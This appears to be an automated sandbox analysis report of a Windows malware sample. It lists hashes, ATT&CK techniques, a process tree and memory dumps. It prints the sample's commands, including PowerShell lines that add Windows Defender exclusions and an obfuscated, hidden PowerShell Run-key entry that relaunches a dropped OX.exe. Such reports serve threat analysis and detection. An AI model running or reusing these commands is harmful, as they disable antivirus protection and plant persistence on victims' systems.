83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d

Analysis

max time kernel
149s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 10:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
Size 3.3MB
Sample260910-msdfwabj8t
SHA256 83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d
MD5 f5d56583f15694aabed97bf79869c5ad
SHA1 dfb511b7edd8d5fac090c32c3dc1bae8823ef90b
SHA512 3525f2e1ad97983b0ea409efb7021bff2a82538b17505a6405967a6ef0f6162ba24225dcdf73e3d0e52f93490c5bbeab7b6b42e7c4cdf07efc137fbeffc5ffb2
SSDEEP 98304:WLr1vZUCG9lfIhdBCH9pJLQMTn5QeDS2WVQR:ArNjG9MCHhLQ+53/
TLSH
T1CAF512082223CB3BD4567B75C533E2F46A651E90E411D22F9EE53EBBBF35E74A804192
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4248	powershell.exe
1956	powershell.exe
4060	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4900	OX.exe
1508	OX.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\OX = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$ypoivo=$env:COMPUTERNAME;$u3kunp=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$ypoivo=$env:COMPUTERNAME;$quuqhr=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE9YLmV4ZQ==')));$3nuyrc=6286;& $u3kunp -FilePath $quuqhr\""	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4684 set thread context of 3196	4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe	91
PID 4900 set thread context of 1508	4900	OX.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
4248	powershell.exe
4248	powershell.exe
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe
4900	OX.exe
1956	powershell.exe
1956	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeIncreaseQuotaPrivilege	4248	powershell.exe
Token: SeSecurityPrivilege	4248	powershell.exe
Token: SeTakeOwnershipPrivilege	4248	powershell.exe
Token: SeLoadDriverPrivilege	4248	powershell.exe
Token: SeSystemProfilePrivilege	4248	powershell.exe
Token: SeSystemtimePrivilege	4248	powershell.exe
Token: SeProfSingleProcessPrivilege	4248	powershell.exe
Token: SeIncBasePriorityPrivilege	4248	powershell.exe
Token: SeCreatePagefilePrivilege	4248	powershell.exe
Token: SeBackupPrivilege	4248	powershell.exe
Token: SeRestorePrivilege	4248	powershell.exe
Token: SeShutdownPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeSystemEnvironmentPrivilege	4248	powershell.exe
Token: SeRemoteShutdownPrivilege	4248	powershell.exe
Token: SeUndockPrivilege	4248	powershell.exe
Token: SeManageVolumePrivilege	4248	powershell.exe
Token: 33	4248	powershell.exe
Token: 34	4248	powershell.exe
Token: 35	4248	powershell.exe
Token: 36	4248	powershell.exe
Token: SeDebugPrivilege	4900	OX.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeIncreaseQuotaPrivilege	1956	powershell.exe
Token: SeSecurityPrivilege	1956	powershell.exe
Token: SeTakeOwnershipPrivilege	1956	powershell.exe
Token: SeLoadDriverPrivilege	1956	powershell.exe
Token: SeSystemProfilePrivilege	1956	powershell.exe
Token: SeSystemtimePrivilege	1956	powershell.exe
Token: SeProfSingleProcessPrivilege	1956	powershell.exe
Token: SeIncBasePriorityPrivilege	1956	powershell.exe
Token: SeCreatePagefilePrivilege	1956	powershell.exe
Token: SeBackupPrivilege	1956	powershell.exe
Token: SeRestorePrivilege	1956	powershell.exe
Token: SeShutdownPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeSystemEnvironmentPrivilege	1956	powershell.exe
Token: SeRemoteShutdownPrivilege	1956	powershell.exe
Token: SeUndockPrivilege	1956	powershell.exe
Token: SeManageVolumePrivilege	1956	powershell.exe
Token: 33	1956	powershell.exe
Token: 34	1956	powershell.exe
Token: 35	1956	powershell.exe
Token: 36	1956	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 4248	4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe	89
PID 4684 wrote to memory of 3196	4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe	91
PID 4684 wrote to memory of 3196	4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe	91
PID 4684 wrote to memory of 3196	4684	83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe	91
PID 4060 wrote to memory of 4900	4060	powershell.exe	95
PID 4900 wrote to memory of 1956	4900	OX.exe	97
PID 4900 wrote to memory of 1508	4900	OX.exe	99
PID 4900 wrote to memory of 1508	4900	OX.exe	99
PID 4900 wrote to memory of 1508	4900	OX.exe	99

C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
"C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4248
- C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
  C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
  2⤵
  PID:3196

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ypoivo=$env:COMPUTERNAME;$u3kunp=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$ypoivo=$env:COMPUTERNAME;$quuqhr=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE9YLmV4ZQ==')));$3nuyrc=6286;& $u3kunp -FilePath $quuqhr"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4060
- C:\Users\Admin\AppData\Roaming\OX.exe
  "C:\Users\Admin\AppData\Roaming\OX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\OX.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1956
- - C:\Users\Admin\AppData\Roaming\OX.exe
    C:\Users\Admin\AppData\Roaming\OX.exe
    3⤵
    - Executes dropped EXE
    PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_vaqppgcl.pr1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vaqppgcl.pr1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

OX.exe

Path C:\Users\Admin\AppData\Roaming\OX.exe
Size 3.3MB
SHA256 83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d
MD5 f5d56583f15694aabed97bf79869c5ad
SHA1 dfb511b7edd8d5fac090c32c3dc1bae8823ef90b
SHA512 3525f2e1ad97983b0ea409efb7021bff2a82538b17505a6405967a6ef0f6162ba24225dcdf73e3d0e52f93490c5bbeab7b6b42e7c4cdf07efc137fbeffc5ffb2
SSDEEP 98304:WLr1vZUCG9lfIhdBCH9pJLQMTn5QeDS2WVQR:ArNjG9MCHhLQ+53/
TLSH
T1CAF512082223CB3BD4567B75C533E2F46A651E90E411D22F9EE53EBBBF35E74A804192
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1956-47-0x000001B63D6F0000-0x000001B63D7A2000-memory.dmp

Download

memory/3196-13-0x0000000140000000-0x000000014025C000-memory.dmp

Download

memory/4248-29-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-25-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-38-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-23-0x0000024CA88F0000-0x0000024CA890E000-memory.dmp

Download

memory/4248-28-0x0000024CA89D0000-0x0000024CA89DA000-memory.dmp

Download

memory/4248-27-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-26-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-34-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-39-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-15-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-14-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-24-0x0000024CA8910000-0x0000024CA89C2000-memory.dmp

Download

memory/4248-19-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4248-20-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-8-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-7-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-12-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-11-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-10-0x000002A2FDAE0000-0x000002A2FDDD8000-memory.dmp

Download

memory/4684-9-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-0-0x00007FFCECF1F000-0x00007FFCECF20000-memory.dmp

Download

memory/4684-16-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-6-0x000002A2E0E50000-0x000002A2E0E74000-memory.dmp

Download

memory/4684-5-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-1-0x000002A2E0610000-0x000002A2E0956000-memory.dmp

Download

memory/4684-4-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4684-3-0x000002A2E0E20000-0x000002A2E0E42000-memory.dmp

Download

memory/4684-2-0x00007FFCECD90000-0x00007FFCED734000-memory.dmp

Download

memory/4900-35-0x0000023B15F20000-0x0000023B15F44000-memory.dmp

Download